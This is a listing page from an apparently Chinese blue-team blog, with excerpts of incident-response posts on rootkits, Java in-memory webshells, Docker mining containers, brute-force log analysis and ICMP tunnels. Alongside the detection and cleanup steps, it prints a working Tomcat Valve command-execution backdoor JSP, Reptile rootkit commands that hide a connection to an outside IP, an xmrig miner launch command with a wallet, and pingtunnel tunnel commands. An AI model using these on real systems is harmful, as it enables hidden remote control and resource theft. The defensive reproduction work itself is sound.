首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
25
篇与
的结果
2025-08-27
应急响应-Rookit后门查杀
Rookit和内存马的区别内存马一般是作为控制网站的webshell的进一步权限维持,而Rookit一般是用来控制服务器隐藏常规C2后门的权限维持手法。Rookit常规隐藏手法-Windows我们知道常规C2后门的排查手法就是通过网络连接、进程排查进行分析定性,那么Rookit可以做到哪些方面的隐藏呢?Rookit可以隐藏进程,隐藏网络连接,同时它还可以隐藏文件,让蓝队成员无法排查到这个C2后门的所在。隐藏进程隐藏网络连接隐藏文件应急处理方法碰运气-使用对应Rookit的卸载文件进行卸载常规手法-火绒剑看隐藏的进程可以看到火绒剑可以看到隐藏的进程,而其他的一些工具无法看到隐藏的进程通过进程PID我们可以直接结束该进程常规手法-通过Unhide工具查看隐藏的进程和端口unhide上面的条件仅仅只有进程的PID对我们有点用,本地隐藏的端口是没什么用的,因为我们不知道连接的C2服务端以及服务端开放连接的端口,所以说这个条件除非我们卸载了Rookit看到网络连接才能正确的封禁IP和端口,不然基本没用通过PID我们可以将进程结束掉,从而防止危害进一步扩大。(这边我们尝试通过cmd的结束进程命令来结束恶意进程似乎不行,提示未找到PID,最好还是火绒剑结束比较稳妥)Rookit常规隐藏手法-LinuxGitHub - f0rb1dd3n/Reptile: LKM Linux rootkit隐藏进程/reptile/reptile_cmd hide 5803隐藏网络连接/reptile/reptile_cmd tcp 114.55.115.6 4444应急处理方法常规方法-通过Unhide工具查看隐藏sudo apt-get install unhideunhide proc通过kill命令即可清除运行的后门进程至于网络端口只能发现本地的端口,其实没啥用,所以就不演示了,具体的使用方法可以自己体验补充:Linux杀软-clamavLinux病毒扫描工具:ClamAVClam AntiVirus是一个类UNIX系统上使用的反病毒软件包。主要应用于邮件服务器,采用多线程后台操作,可以自动升级病毒库。ClamAV是一个在命令行下查毒软件,因为它不将杀毒作为主要功能,默认只能查出您计算机内的病毒,但是无法清除。
2025年08月27日
2 阅读
0 评论
0 点赞
2025-08-25
应急响应-Spring框架内存马查杀与其他补充内存马
Tomcat-Valve内存马哥斯拉不支持该类型内存马植入,只能用脚本方式植入<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); Field pipelineField = ContainerBase.class.getDeclaredField("pipeline"); pipelineField.setAccessible(true); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext); ValveBase valveBase = new ValveBase() { @Override public void invoke(Request request, Response response) throws ServletException,IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); this.getNext().invoke(request, response); } } }; standardPipeline1.addValve(valveBase); out.println("evil valve inject done!"); %>尝试通过scanner脚本查杀,发现脚本已经无法正常打开了通过GUI工具进行查杀分析成功找到对应的Valve内存马,可进行查杀通过Arthas工具进行分析sc * | grep valve jad --source-only org.apache.jsp.valve_jsp总结无法通过scanner脚本进行分析,有别于传统的内存马查杀方式,传统内存马这三种都可以,但是遇到这种类型就没法通过scanner脚本查杀,得通过GUI工具或者Arthas进行分析定性。Spring框架内存马Spring Controller型内存马:动态注册Controller及映射路由。Spring Interceptor型内存马:动态注册Interceptor及映射路由。Spring Webflux型内存马:动态注册WebFilter及映射路由。遇到框架型的内存马,我们就没法通过scanner脚本,GUI工具来进行查杀了,我们只能通过Arthas工具进行分析。因为这些SpringBoot框架启动基本都是jar包启动,不放在Tomcat下,我们的scanner脚本基本派不上用场。Controller型&Interceptor型内存马通过Arthas排查sc * | grep Controllerjad --source-only com.example.springinject.demos.web.myInjectController3sc * | grep InterceptorWebflux型内存马先行在靶场植入内存马,尝试通过哥斯拉进行连接通过Arthas排查sc * | grep Webflux在这种情况出现的时候,我们就得换一种方式了,通过内存马的常见关键字进行筛查:memshellshellosruntime.......jad --source-only com.example.webfluxmem.WebFluxFilterMemshell这种也是没办法的办法,如果攻击者换一种的话基本就查不出来了,所以说内存马的查杀还是很有门道的,目前针对这种情况我没有很好的解决方案,要是有其他方法可以告知我。如何清除内存马上面我们在内存中分析定性了内存马是哪些类文件,而这些类文件又不像Tomcat有文件目录,他们都在jar包中,我们要怎么进行清除呢?首先要先停止jar包的运行,然后通过压缩软件打开jar包删除恶意类重新启动之后就不存在内存马了蓝队排查思路总结此类方法纯属个人了解,如有遗漏请大家多多指正先进行资产的梳理,确认采用的组织架构,如:中间件(Tomcat)、开发框架(SpringBoot)等对应查找可能存在的内存马技术,如:Tomcat-Valve、Spring Controller型、传统内存马基于上述信息,我们可以确定我们要采用的分析工具,如:传统则都可用、Spring只能用Arthas等确认采用的分析工具之后进行分析定性,如:Arthas通过命令查找对应的后缀,jad查看反编译源码,dump文件分析定性等定性之后,通过脚本或者其他工具、手工进行内存马的清除最后重启服务观察内存马是否仍然存在待补充Tomcat其他类型(如Upgrade、Executor、Poller)的内存马:这些内存马会动态替换或添加全局组件。其他中间件(如Grizzly)的内存马:动态注册Filter及映射路由。其他内存马(特殊情况下才能实现植入):WebSocket型内存马:动态注册WebSocket路由及处理逻辑。Tomcat JSP型内存马:动态注册Tomcat JSP管理逻辑并实现驻留。线程型内存马:启动一个无法被杀死的线程。RMI型内存马:动态启动一个RMI Registry。Agent型内存马:通过Hook并修改关键方法添加恶意逻辑。Agent型内存马在现代webshell管理工具中有广泛实现。
2025年08月25日
1 阅读
0 评论
0 点赞
2025-08-23
应急响应-传统Web内存马查杀
内存马是什么在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。发展由来由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种传统连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell ---> 内存马内存马原理内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码内存马类型PHPJavaPythonASPX传统Java内存马查杀在内存马的家族中,Java内存马是目前涉及面最广技巧最多,方式最多的,所以我们这篇着重讲一下Java内存马在Tomcat中间件中的查杀,像是Spring框架有着跟Tomcat不一样的内存马,所以我们分开讲。哥斯拉注入内存马首先启动一个Tomcat环境,然后让哥斯拉来注入内存马内存注入之后是不存在文件的,仅有一个路由,它是无文件落地的。那么怎么查杀内存马呢?这时候我们可以利用一些别人写好的脚本来进行查杀https://github.com/c0ny1/java-memshell-scanner/tree/master将对应的scanner.jsp放到网站目录下,进行访问可以看到当我们注入内存马之后,这边是检测到了没有对应的文件,我们去目录看下同样也是没有对应的文件存在的,直接通过哥斯拉连接内存马通过脚本清除内存马脚本提示我们这个路由可能是内存马,通过脚本kill这两个路由可以看到哥斯拉无法连接了通过Java诊断利器 Arthas 分析定性内存马GitHub - alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器ArthasArthas 为一款监控诊断产品,通过全局视角实时查看应用load、内存、gc、线程的状态信息。可使用该工具对内存马排查和分析,如攻击者隐藏的深的话,可将所有的类都反编译导出来然后逐一排查。java -jar arthas-boot.jar可以看到一个是哥斯拉的进程,另一个就是Tomcat中间件在运行,我们当然选择分析Tomcat了查看URL路由mbean | grep "name=/"sc查看JVM 已加载的类信息sc *.Filtersc *.Servlet那这么多类我们要怎么分析出哪一个是内存马呢?通过对这些类的搜索,可以初步判断哪些可信,哪些不可信那么我们如何进一步定性这个类是内存马呢?dump类反编译定性内存马dump org.apache.coyote.ext.Java7Support这时候就得通过dump文件来进行分析了,dump出来的是class文件,我们通过IDEA打开即可获取到反编译版本的代码,这时候如果你的代码功底比较扎实的话,你就可以进行审计判断。那可能你的代码功底不是很扎实该咋办?保存代码为.java文件上传微步即可补充:jad在线反编译类jad --source-only org.apache.coyote.ext.Java7Support补充:通过web日志进行分析查看中间件的日志,如果存在请求那种没有具体文件的路由,但是返回值或者返回长度过长的请求包,那么就有可能是注入内存马的路由使用脚本或者工具清除内存马使用我们前面提到的scanner.jsp脚本清除内存马或者这个综合工具进行清除GitHub - 4ra1n/shell-analyzer: 通过 JAVA AGENT 查杀内存马,提供简易方便的 GUI 界面,一键反编译目标环境内存马进行分析,支持远程查杀和本地查杀(注意:仅供本地复现分析学习,请勿用于正式和生产环境)通过选中双击即可反编译Listener内存马Listener内存马无法通过哥斯拉直接植入,因为哥斯拉不支持这种类型的内存马植入,所以我们得通过其他方式来植入Listener内存马。遇到这种内存马通过上面的scanner.jsp脚本可以进行清除,同时通过GUI图形化界面也可以进行清除还有我们的内存分析工具Arthas也可以进行定性sc * | grep Listenerjad --source-only ch.qos.logback.ServletRequestWhnListener
2025年08月23日
1 阅读
0 评论
0 点赞
2025-08-22
应急响应-Docker容器应急
前言目前docker容器搭建数据库或者一些常见的服务已经成为常态,但同时也提升了docker易受到攻击的可能性,当docker被攻击导致权限丢失,或者说被植入了恶意程序,我们要如何进行应急响应呢?挖矿容器应急top判断是否挖矿docker run -itd --restart=always -e POOL_URL=pool.supportxmr.com:5555 -e POOL_USER=45rfqYG9iNPddvenLpjFskJUhFgqBkdhDeah3X8D8ZJM3KpKqZWCLz3ewLsVd269tZiEyQRV53Ldv2DJb6xeuFokF7SBb1p --name xmrig pmietlicki/xmrigtop查看对应xmrig的进程ps -aux | grep xmrig发现kill进程之后仍然存在看到命令是当前目录下执行,可是我们并没有xmrig这个文件,那么到底在哪执行的?判断存在权限维持技术,但是我们在top命令中看到了systemd这个进程,说明存在docker容器查看容器历史命令那么我们可以看看docker容器也没有docker psdocker history pmietlicki/xmrig发现里面确实有xmrig(门罗币挖矿)这个关键字,说明很可能是这个容器在运行挖矿程序使用dfimage从镜像中提取Dockerfilealias dfimage="docker run --rm -v /var/run/docker.sock:/var/run/docker.sock alpine/dfimage"dfimage -sV=1.36 pmietlicki/xmrig在这里可以清晰地看到恶意镜像构建的过程拿到钱包地址查看镜像的配置信息docker inspect --format='{{json .Config}}' pmietlicki/xmrig实锤恶意文件docker exec -it 566b0075a5eb /bin/bash发现确实存在这个文件,我们将文件取出来docker cp 566b0075a5eb:/home/miner/xmrig/build/xmrig .实锤是门罗币挖矿程序应急处置进入docker删除恶意程序,然后kill进程,排查权限维持即可。根据上述的内容将分析定性的过程与应急处置的流程整合即可输出报告docker inspect --format='{{.GraphDriver.Data.LowerDir}}' pmietlicki/xmrigWeb后门应急git clone https://github.com/vulhub/vulhub.git cd struts2/s2-046/ docker-compose build docker compose up -d上传哥斯拉JSP后门在这时候告警给蓝队成员,如何快速定性web后门,然后清除后门呢?对web目录进行扫描docker cp hm 4561089630e6:/tmp/hm-linux-amd64 #河马查杀脚本通过哥斯拉可知网站根目录为/usr/src,直接通过河马扫描./hm-linux-amd64 scan /usr/src/定性存在webshell应急处置rm删除后门文件即可对docker容器进行基线检查GitHub - aquasecurity/trivy: Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and morewget https://github.com/aquasecurity/trivy/releases/download/v0.54.1/trivy_0.54.1_Linux-64bit.deb sudo dpkg -i trivy_0.54.1_Linux-64bit.deb # trivy image 容器名称(docker ps -a 获取) trivy image vulhub/shiro:1.2.4
2025年08月22日
1 阅读
0 评论
0 点赞
2025-08-18
应急响应-爆破事件与隧道流量
爆破事件前言无论是在内网还是外网,口令爆破都是屡见不鲜的事情。但是相对于内网,外网的口令爆破相对比较困难,基本都是复杂的口令,比较难突破。对于内网来说,运维人员会觉得内网比较安全,与DMZ区是隔离开的,所以会比较放松这方面的管束。同时内网的口令可以通过hash传递,只要有一台权限被拿下,那么就很容易进行横向移动。对于口令爆破事件,我们应该怎么去处理这类事件呢?首先我们得明确口令爆破的服务,以及对应服务的日志存储位置,查看日志其次我们得明确日志中有哪些可供我们判断的特征和属性,来确定是否存在爆破行为以及是否爆破成功如果出现非常多的日志,那么我们可以借助一些工具来进行分析SSH爆破首先明确SSH日志的存放位置在# CentOS /var/log/secure # 或者 /var/log/auth.log查看日志cat /var/log/secureFailed password for invalid user postgres from 192.168.139.1 port 23899 ssh2Accepted password for root from 192.168.139.1 port 23568 ssh2通过这两个特征就可以总结出一个快速查看是否登录成功的脚本了# 查看成功登陆: cat /var/log/secure | grep "Accept" # 查看失败登陆: cat /var/log/secure | grep "Failed password for"通过日志我们可以看到只存在一个登录成功,并且其他都是登录失败,同时,这些登录失败的事件都是同一个时间点,说明是并发登录操作,结合我们确定这个登录成功是否为管理员自己的操作可以得出答案。这个登录操作并非管理员自己的操作,攻击者在短时间内对服务器进行SSH爆破,同时在9:21:03爆破成功RDP爆破同样首先明确日志存储位置查看日志通过这两个事件ID就可以判断是否出现爆破事件了,同时要关注LogonType可以总结出本次事件的流程:由同一时间大量审核失败的日志可知,攻击者通过3389端口开放于9:51:59进行RDP爆破攻击,然后于9:53:39登录成功。SMB爆破SMB同样也是在Windows事件管理器的安全日志中查看LogonType总结标注加粗的就是重点了,通常会通过这几种方式进行爆破Logon type 2 Interactive 本地交互登录。最常见的登录方式。Logon type 3 Network 网络登录 - 最常见的是访问网络共享文件夹或打印机。Logon type 4 Batch 计划任务Logon Type 5 Service 服务:某些服务是用一个域帐号来运行的,出现Failure常见的情况是管理员更改了域帐号密码,但是忘记重设Service中的帐号密码。Logon Type 7 Unlock 解除屏幕锁定Logon Type 8 NetworkCleartext 网络明文登录,通常发生在IIS 的 ASP登录。不推荐Logon Type 9 NewCredentials 新身份登录Logon Type 10 RemoteInteractive 远程登录 Logon Type 11 CachedInteractive 缓存登录有人可能会问横向移动不是还有WMI、DCOM这些手法吗?为什么不讲讲这些手法?因为WMI横向移动的手法是不会记录在Windows日志中的,所以说我们在日志中看不到这种横向移动手法的数据,也就没法分析了。MSSQL爆破查看日志登录成功和失败的消息通过日志分析可以得出结论192.168.3.31对本机于10:30:56进行爆破,于10:31:47登录成功总结首先我们得明确一个问题,那么多服务,我们怎么都知道他们的日志在哪里?根据上面的几个服务,我们可以发现一个规律,那就是该服务依赖什么搭建起来的日志多半就在那个被依赖的应用目录下。比如说:SSH是系统自带了,那么他就在系统默认的/var/log下,RDP和SMB也是系统自带的,那么他们就在Windows日志下,MSSQL它自己是一个应用,那么他就在自己应用中存在日志,根据这种规律,我们可以快速定位日志所在从而进行分析,最后进行应急处置。针对爆破事件的应急处置一般采用封禁IP、封锁协议、限制登录请求的次数等方式,通过这种方式就能很好的防止爆破了。隧道流量这边讲述一种隧道即可,其他隧道分析定性和处置方式也是差不多的ICMP隧道Linuxsudo ./pingtunnel -type server -key 1234 sudo ./pingtunnel -type client -l :4445 -s 47.96.86.122 -t 47.96.86.122:4444 -tcp 1 -key 1234 通过netstat -anpt只能看到开放4445,不知道连接到谁了,也不知道该进程是什么在这种情况下就要采用专门的工具来进行分析GitHub - Just-Hack-For-Fun/Request_Monitor: 这是一个通过监听网络请求获取发起请求进程的脚本使用方法如下:ICMP/DNS 隧道处置方法 | Linux 应急响应sudo apt update sudo apt install bpftrace chmod +x request_monitor.sh chmod +x request_monitor.bt# 假设告警icmp隧道连接到47.96.86.122 sudo ./request_monitor.sh 47.96.86.122 ps -aux 实锤ICMP隧道,直接kill对应进程,然后封锁IP地址或者ICMP协议Windows同样是受害者机器连接到对应的攻击机pingtunnel.exe -type client -l :4445 -s 47.96.86.122 -t 47.96.86.122:4444 -tcp 1 -key 1234 同样也是看不见对应的PID和外联地址通过WireShark观察流量只能看到大量ICMP数据包与47.96.86.122这个地址外联,同样也看不到进程什么的这时候我们就得用到Microsoft Message Analyzer这款微软自带的抓包工具选中数据包打开所有Detail详情页此处即有PID实锤ICMP隧道利用工具,直接结束进程,封锁IP地址,然后限制ICMP协议即可
2025年08月18日
1 阅读
0 评论
0 点赞
1
...
3
4
5